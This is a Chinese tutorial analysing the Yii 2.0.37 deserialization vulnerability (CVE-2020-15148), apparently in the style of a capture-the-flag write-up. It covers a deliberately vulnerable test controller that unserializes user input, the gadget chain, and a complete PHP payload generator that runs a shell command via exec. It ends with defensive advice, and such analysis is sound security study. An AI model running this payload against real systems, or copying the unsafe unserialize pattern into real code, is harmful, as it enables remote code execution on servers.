yii反序列化2.0.37
字数 1151 2025-08-11 21:26:09
YII2.0.37 反序列化漏洞分析(CVE-2020-15148)教学文档
漏洞概述
本教学文档详细分析YII框架2.0.37版本中的反序列化漏洞(CVE-2020-15148),该漏洞允许攻击者通过精心构造的反序列化数据实现远程代码执行。
环境搭建
-
下载YII2.0.37基础应用:
https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz -
修改配置文件:
- 编辑
config/web.php - 设置
cookieValidationKey为任意值(防止报错)
- 编辑
-
创建测试控制器:
<?php namespace app\controllers; use Yii; use yii\web\Controller; class TestController extends Controller { public function actionIndex(){ $name = Yii::$app->request->get('test'); return unserialize(base64_decode($name)); } } -
运行YII应用:
php yii serve
漏洞利用链分析
1. 起点:BatchQueryResult::__destruct()
yii\db\BatchQueryResult类的析构函数会调用reset()方法:
public function __destruct()
{
$this->reset();
}
2. reset()方法分析
reset()方法中存在关键代码:
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
_dataReader是可控属性- 如果
_dataReader对象没有close()方法,会触发__call魔术方法
3. 寻找可利用的__call方法
选择Faker\Generator类的__call方法:
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
4. format()方法分析
format()方法调用call_user_func_array:
public function format($formatter, $arguments = [])
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
formatters数组可控- 可以构造任意函数调用
5. 最终利用点:IndexAction::run()
yii\rest\IndexAction的run()方法:
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
checkAccess和id属性可控- 可实现任意命令执行
完整利用链
BatchQueryResult::__destruct()->reset()reset()尝试调用_dataReader->close()_dataReader是Faker\Generator实例,没有close()方法- 触发
Generator::__call('close', ...) __call调用format('close', ...)format()调用call_user_func_array($this->formatters['close'], ...)formatters['close']设置为[CreateAction实例, 'run']- 调用
CreateAction::run() run()调用call_user_func($this->checkAccess, $this->id)- 实现任意命令执行
漏洞利用代码
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'cp /flag /var/www/html/basic/web/1.txt';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
防御措施
- 升级YII框架到最新版本
- 避免反序列化用户可控数据
- 使用YII提供的安全组件验证输入
- 实现
__wakeup()或__destruct()方法的安全检查